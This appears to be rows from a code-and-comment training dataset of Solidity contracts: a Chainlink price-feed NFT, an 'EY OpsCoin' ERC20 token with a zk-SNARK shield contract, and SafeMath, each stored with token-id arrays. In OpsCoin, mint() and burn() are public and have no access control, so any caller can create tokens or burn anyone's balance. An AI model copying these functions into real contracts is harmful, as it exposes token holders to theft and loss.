file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
list
attention_mask
list
labels
list
// SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol"; import "base64-sol/base64.sol"; contract FeedsNFT is ERC721, Ownable { uint256 public tokenCounter; string public lowImageURI; string public highImageURI; mapping(uint256 => int) public tokenIdToHighValues; AggregatorV3Interface internal priceFeed; event CreatedFeedsNFT(uint256 indexed tokenId, int highValue); constructor( address _priceFeedAddress ) ERC721("Chainlink Feeds NFT", "CFN") public { tokenCounter = 0; priceFeed = AggregatorV3Interface(_priceFeedAddress); } function addLowURI(string memory _svgLowURI) public onlyOwner { lowImageURI = _svgLowURI; } function addHighURI(string memory _svgHighURI) public onlyOwner { highImageURI = _svgHighURI; } // jsa addLow/High SVG puts the Base64 encoded .svg into a string in memory so it can become the On-Chain URI !! function addLowSVG(string memory _svgLowRaw) public onlyOwner { string memory svgURI = svgToImageURI(_svgLowRaw); addLowURI(svgURI); } function addHighSVG(string memory _svgHighRaw) public onlyOwner { string memory svgURI = svgToImageURI(_svgHighRaw); addHighURI(svgURI); } function create(int highValue) public { tokenIdToHighValues[tokenCounter] = highValue; emit CreatedFeedsNFT(tokenCounter, highValue); _safeMint(msg.sender, tokenCounter); tokenCounter = tokenCounter + 1; } // You could also just upload the raw SVG and have solildity convert it! // jsa - this is the super cool part - the image is actually ON the ETH Chain (not on a peertopeer like IPFS) done by using Base64 coding // the URI IS the actual SVG!! "Base64.encode..." turns it into ASCII ? function svgToImageURI(string memory svg) public pure returns (string memory) { // example: // '<svg width="500" height="500" viewBox="0 0 285 350" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill="black" d="M150,0,L75,200,L225,200,Z"></path></svg>' // would return "" string memory baseURL = "data:image/svg+xml;base64,"; // string 1 the URL start... string memory svgBase64Encoded = Base64.encode(bytes(string(abi.encodePacked(svg)))); // strng 2 the .svg as string return string(abi.encodePacked(baseURL,svgBase64Encoded)); // jsa - return the previous two strings "put together" - on chain image data - could mean more GAS :( } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); (,int price,,,)= priceFeed.latestRoundData(); // check to see if price is up and swap images based on feed from Off-Chain "AggregatorV3" contract jsa string memory imageURI = lowImageURI; // Off-Chain means no GAS :) if (price >= tokenIdToHighValues[tokenId]){ imageURI = highImageURI; } return string( abi.encodePacked( "data:application/json;base64,", Base64.encode( bytes( abi.encodePacked( '{"name":"', "Chainlink Feeds NFT", // You can add whatever name here '", "description":"An NFT that changes based on the Chainlink Feed", "attributes":"", "image":"',imageURI,'"}' ) ) ) ) ); // REMEMBER TO GO TO THIS LINK /* The string returned is the TokenURI() Metadata format: jsa - SEE https://betterprogramming.pub/how-to-create-nfts-with-solidity-4fa1398eb70a { "name": "The Chainlink Elf", "description": "Inspiring, Based, Mythical, Oracle loving creature. Leading the new world and helping teach about superior digital agreements. Also is good with a bow!", "image": "https://ipfs.io/ipfs/QmTgqnhFBMkfT9s8PHKcdXBn1f5bG3Q5hmBaR4U6hoTvb1?filename=Chainlink_Elf.png", "attributes": [ { "trait_type": "Strength", "value": 84 } ] } */ } }
jsa - return the previous two strings "put together" - on chain image data - could mean more GAS :(
return string(abi.encodePacked(baseURL,svgBase64Encoded));
2,496,081
[ 1, 2924, 69, 300, 327, 326, 2416, 2795, 2064, 315, 458, 9475, 6, 300, 603, 2687, 1316, 501, 300, 3377, 3722, 1898, 611, 3033, 294, 12, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 327, 533, 12, 21457, 18, 3015, 4420, 329, 12, 1969, 1785, 16, 11451, 2171, 1105, 10397, 10019, 565, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.13; interface ERC20Interface { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract OpsCoin is ERC20Interface { /** @notice © Copyright 2018 EYGS LLP and/or other members of the global Ernst & Young/EY network; pat. pending. */ using SafeMath for uint256; string public symbol; string public name; address public owner; uint256 public totalSupply; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; mapping (address => mapping (address => uint)) private timeLock; constructor() { symbol = "OPS"; name = "EY OpsCoin"; totalSupply = 1000000; owner = msg.sender; balances[owner] = totalSupply; emit Transfer(address(0), owner, totalSupply); } //only owner  modifier modifier onlyOwner () { require(msg.sender == owner); _; } /** self destruct added by westlad */ function close() public onlyOwner { selfdestruct(owner); } /** * @dev Gets the balance of the specified address. * @param _address The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _address) public view returns (uint256) { return balances[_address]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply; } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param _account The account that will receive the created tokens. * @param _amount The amount that will be created. */ function mint(address _account, uint256 _amount) public { require(_account != 0); require(_amount > 0); totalSupply = totalSupply.add(_amount); balances[_account] = balances[_account].add(_amount); emit Transfer(address(0), _account, _amount); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param _account The account whose tokens will be burnt. * @param _amount The amount that will be burnt. */ function burn(address _account, uint256 _amount) public { require(_account != 0); require(_amount <= balances[_account]); totalSupply = totalSupply.sub(_amount); balances[_account] = balances[_account].sub(_amount); emit Transfer(_account, address(0), _amount); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * @param _account The account whose tokens will be burnt. * @param _amount The amount that will be burnt. */ function burnFrom(address _account, uint256 _amount) public { require(_amount <= allowed[_account][msg.sender]); allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount); emit Approval(_account, msg.sender, allowed[_account][msg.sender]); burn(_account, _amount); } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { require(_spender != address(0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens after a specfied amount of time on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. * @param _timeLockTill The time until when this amount cannot be withdrawn */ function approveAt(address _spender, uint256 _value, uint _timeLockTill) public returns (bool) { require(_spender != address(0)); allowed[msg.sender][_spender] = _value; timeLock[msg.sender][_spender] = _timeLockTill; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFromAt(address _from, address _to, uint256 _value) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); require(block.timestamp > timeLock[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address _spender, uint256 _addedValue) public returns (bool) { require(_spender != address(0)); allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address _spender, uint256 _subtractedValue) public returns (bool) { require(_spender != address(0)); allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].sub(_subtractedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Verifier{ function verifyTx( uint[2], uint[2], uint[2][2], uint[2], uint[2], uint[2], uint[2], uint[2], address ) public pure returns (bool){} /** @notice © Copyright 2018 EYGS LLP and/or other members of the global Ernst & Young/EY network; pat. pending. */ function getInputBits(uint, address) public view returns(bytes8){} } contract OpsCoinShield{ /** @notice © Copyright 2018 EYGS LLP and/or other members of the global Ernst & Young/EY network; pat. pending. Contract to enable the management of ZKSnark-hidden coin transactions. */ address public owner; bytes8[merkleWidth] ns; //store spent token nullifiers uint constant merkleWidth = 256; uint constant merkleDepth = 9; uint constant lastRow = merkleDepth-1; uint private balance = 0; bytes8[merkleWidth] private zs; //array holding the commitments.  Basically the bottom row of the merkle tree uint private zCount; //remember the number of commitments we hold uint private nCount; //remember the number of commitments we spent bytes8[] private roots; //holds each root we've calculated so that we can pull the one relevant to the prover uint private currentRootIndex; //holds the index for the current root so that the //prover can provide it later and this contract can look up the relevant root Verifier private mv; //the verification smart contract that the mint function uses Verifier private sv; //the verification smart contract that the transfer function uses OpsCoin private ops; //the OpsCoin ERC20-like token contract struct Proof { //recast this as a struct because otherwise, as a set of local variable, it takes too much stack space uint[2] a; uint[2] a_p; uint[2][2] b; uint[2] b_p; uint[2] c; uint[2] c_p; uint[2] h; uint[2] k; } //Proof proof; //not used - proof is now set per address mapping(address => Proof) private proofs; constructor(address mintVerifier, address transferVerifier, address opsCoin) public { // TODO - you can get a way with a single, generic verifier. owner = msg.sender; mv = Verifier(mintVerifier); sv = Verifier(transferVerifier); ops = OpsCoin(opsCoin); } //only owner  modifier modifier onlyOwner () { require(msg.sender == owner); _; } /** self destruct added by westlad */ function close() public onlyOwner { selfdestruct(owner); } function getMintVerifier() public view returns(address){ return address(mv); } function getTransferVerifier() public view returns(address){ return address(sv); } function getOpsCoin() public view returns(address){ return address(ops); } /** The mint function accepts opscoin and creates the same amount as a commitment. */ function mint(uint amount) public { //first, verify the proof bool result = mv.verifyTx( proofs[msg.sender].a, proofs[msg.sender].a_p, proofs[msg.sender].b, proofs[msg.sender].b_p, proofs[msg.sender].c, proofs[msg.sender].c_p, proofs[msg.sender].h, proofs[msg.sender].k, msg.sender); require(result); //the proof must check out //transfer OPS from the sender to this contract ops.transferFrom(msg.sender, address(this), amount); //save the commitments bytes8 z = mv.getInputBits(64, msg.sender);//recover the input params from MintVerifier zs[zCount++] = z; //add the token require(uint(mv.getInputBits(0, msg.sender))==amount); //check we've been correctly paid bytes8 root = merkle(0,0); //work out the Merkle root as it's now different currentRootIndex = roots.push(root)-1; //and save it to the list } /** The transfer function transfers a commitment to a new owner */ function transfer() public { //verification contract bool result = sv.verifyTx( proofs[msg.sender].a, proofs[msg.sender].a_p, proofs[msg.sender].b, proofs[msg.sender].b_p, proofs[msg.sender].c, proofs[msg.sender].c_p, proofs[msg.sender].h, proofs[msg.sender].k, msg.sender); require(result); //the proof must verify. The spice must flow. bytes8 nc = sv.getInputBits(0, msg.sender); bytes8 nd = sv.getInputBits(64, msg.sender); bytes8 ze = sv.getInputBits(128, msg.sender); bytes8 zf = sv.getInputBits(192, msg.sender); for (uint i=0; i<nCount; i++) { //check this is an unspent coin require(ns[i]!=nc && ns[i]!=nd); } ns[nCount++] = nc; //remember we spent it ns[nCount++] = nd; //remember we spent it zs[zCount++] = ze; //add Bob's commitment to the list of commitments zs[zCount++] = zf; //add Alice's commitment to the list of commitment bytes8 root = merkle(0,0); //work out the Merkle root as it's now different currentRootIndex = roots.push(root)-1; //and save it to the list } function burn(address payTo) public { //first, verify the proof bool result = mv.verifyTx( proofs[msg.sender].a, proofs[msg.sender].a_p, proofs[msg.sender].b, proofs[msg.sender].b_p, proofs[msg.sender].c, proofs[msg.sender].c_p, proofs[msg.sender].h, proofs[msg.sender].k, msg.sender); require(result); //the proof must check out ok //transfer OPS from this contract to the nominated address bytes8 C = mv.getInputBits(0, msg.sender);//recover the coin value uint256 value = uint256(C); //convert the coin value to a uint ops.transfer(payTo, value); //and pay the man bytes8 Nc = mv.getInputBits(64, msg.sender); //recover the nullifier ns[nCount++] = Nc; //add the nullifier to the list of nullifiers bytes8 root = merkle(0,0); //work out the Merkle root as it's now different currentRootIndex = roots.push(root)-1; //and save it to the list } /** This function is only needed because mint and transfer otherwise use too many local variables for the limited stack space, rather than pass a proof as parameters to these functions (more logical) */ function setProofParams( uint[2] a, uint[2] a_p, uint[2][2] b, uint[2] b_p, uint[2] c, uint[2] c_p, uint[2] h, uint[2] k) public { //TODO there must be a shorter way to do this: proofs[msg.sender].a[0] = a[0]; proofs[msg.sender].a[1] = a[1]; proofs[msg.sender].a_p[0] = a_p[0]; proofs[msg.sender].a_p[1] = a_p[1]; proofs[msg.sender].b[0][0] = b[0][0]; proofs[msg.sender].b[0][1] = b[0][1]; proofs[msg.sender].b[1][0] = b[1][0]; proofs[msg.sender].b[1][1] = b[1][1]; proofs[msg.sender].b_p[0] = b_p[0]; proofs[msg.sender].b_p[1] = b_p[1]; proofs[msg.sender].c[0] = c[0]; proofs[msg.sender].c[1] = c[1]; proofs[msg.sender].c_p[0] = c_p[0]; proofs[msg.sender].c_p[1] = c_p[1]; proofs[msg.sender].h[0] = h[0]; proofs[msg.sender].h[1] = h[1]; proofs[msg.sender].k[0] = k[0]; proofs[msg.sender].k[1] = k[1]; } function getTokens() public view returns(bytes8[merkleWidth], uint root) { //need the commitments to compute a proof and also an index to look up the current //root. return (zs,currentRootIndex); } /** Function to return the root that was current at rootIndex */ function getRoot(uint rootIndex) view public returns(bytes8) { return roots[rootIndex]; } function computeMerkle() public view returns (bytes8){//for backwards compat return merkle(0,0); } function merkle(uint r, uint t) public view returns (bytes8) { //This is a recursive approach, which seems efficient but we do end up //calculating the whole tree from scratch each time.  Need to look at storing //intermediate values and seeing if that will make it cheaper. if (r==lastRow) { return zs[t]; } else { return bytes8(sha256(merkle(r+1,2*t)^merkle(r+1,2*t+1))<<192); } } } library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
*/TODO there must be a shorter way to do this:
public { proofs[msg.sender].a[0] = a[0]; proofs[msg.sender].a[1] = a[1]; proofs[msg.sender].a_p[0] = a_p[0]; proofs[msg.sender].a_p[1] = a_p[1]; proofs[msg.sender].b[0][0] = b[0][0]; proofs[msg.sender].b[0][1] = b[0][1]; proofs[msg.sender].b[1][0] = b[1][0]; proofs[msg.sender].b[1][1] = b[1][1]; proofs[msg.sender].b_p[0] = b_p[0]; proofs[msg.sender].b_p[1] = b_p[1]; proofs[msg.sender].c[0] = c[0]; proofs[msg.sender].c[1] = c[1]; proofs[msg.sender].c_p[0] = c_p[0]; proofs[msg.sender].c_p[1] = c_p[1]; proofs[msg.sender].h[0] = h[0]; proofs[msg.sender].h[1] = h[1]; proofs[msg.sender].k[0] = k[0]; proofs[msg.sender].k[1] = k[1]; }
12,692,407
[ 1, 19, 6241, 1915, 1297, 506, 279, 19623, 4031, 358, 741, 333, 30, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 482, 288, 203, 24207, 87, 63, 3576, 18, 15330, 8009, 69, 63, 20, 65, 273, 279, 63, 20, 15533, 203, 24207, 87, 63, 3576, 18, 15330, 8009, 69, 63, 21, 65, 273, 279, 63, 21, 15533, 203, 24207, 87, 63, 3576, 18, 15330, 8009, 69, 67, 84, 63, 20, 65, 273, 279, 67, 84, 63, 20, 15533, 203, 24207, 87, 63, 3576, 18, 15330, 8009, 69, 67, 84, 63, 21, 65, 273, 279, 67, 84, 63, 21, 15533, 203, 24207, 87, 63, 3576, 18, 15330, 8009, 70, 63, 20, 6362, 20, 65, 273, 324, 63, 20, 6362, 20, 15533, 203, 24207, 87, 63, 3576, 18, 15330, 8009, 70, 63, 20, 6362, 21, 65, 273, 324, 63, 20, 6362, 21, 15533, 203, 24207, 87, 63, 3576, 18, 15330, 8009, 70, 63, 21, 6362, 20, 65, 273, 324, 63, 21, 6362, 20, 15533, 203, 24207, 87, 63, 3576, 18, 15330, 8009, 70, 63, 21, 6362, 21, 65, 273, 324, 63, 21, 6362, 21, 15533, 203, 24207, 87, 63, 3576, 18, 15330, 8009, 70, 67, 84, 63, 20, 65, 273, 324, 67, 84, 63, 20, 15533, 203, 24207, 87, 63, 3576, 18, 15330, 8009, 70, 67, 84, 63, 21, 65, 273, 324, 67, 84, 63, 21, 15533, 203, 24207, 87, 63, 3576, 18, 15330, 8009, 71, 63, 20, 65, 273, 276, 63, 20, 15533, 203, 24207, 87, 63, 3576, 18, 15330, 8009, 71, 63, 21, 65, 273, 276, 63, 21, 15533, 203, 24207, 87, 63, 3576, 18, 15330, 8009, 71, 67, 84, 63, 20, 65, 273, 276, 2 ]
./full_match/1/0xf7E49a9D1dfeD8E533e3C6d2A5977e6d240e07f5/sources/contracts/QuestFactory.sol
Send the mint fee to the mint fee recipient
getMintFeeRecipient().safeTransferETH(mintFee);
4,968,755
[ 1, 3826, 326, 312, 474, 14036, 358, 326, 312, 474, 14036, 8027, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2108, 474, 14667, 18241, 7675, 4626, 5912, 1584, 44, 12, 81, 474, 14667, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xEceec31C940e49C7557C530305DA1Ac3C3556569/sources/ZUSDImplementation.sol
* @dev Transfer token to a specified address from msg.sender Note: the use of Safemath ensures that value is nonnegative. @param to The address to transfer to. @param value The amount to be transferred./
function transfer(address to, uint256 value) external override whenNotPaused returns (bool) { _transfer(msg.sender, to, value); return true; }
2,809,947
[ 1, 5912, 1147, 358, 279, 1269, 1758, 628, 1234, 18, 15330, 3609, 30, 326, 999, 434, 348, 1727, 351, 421, 11932, 716, 460, 353, 1661, 13258, 18, 225, 358, 1021, 1758, 358, 7412, 358, 18, 225, 460, 1021, 3844, 358, 506, 906, 4193, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
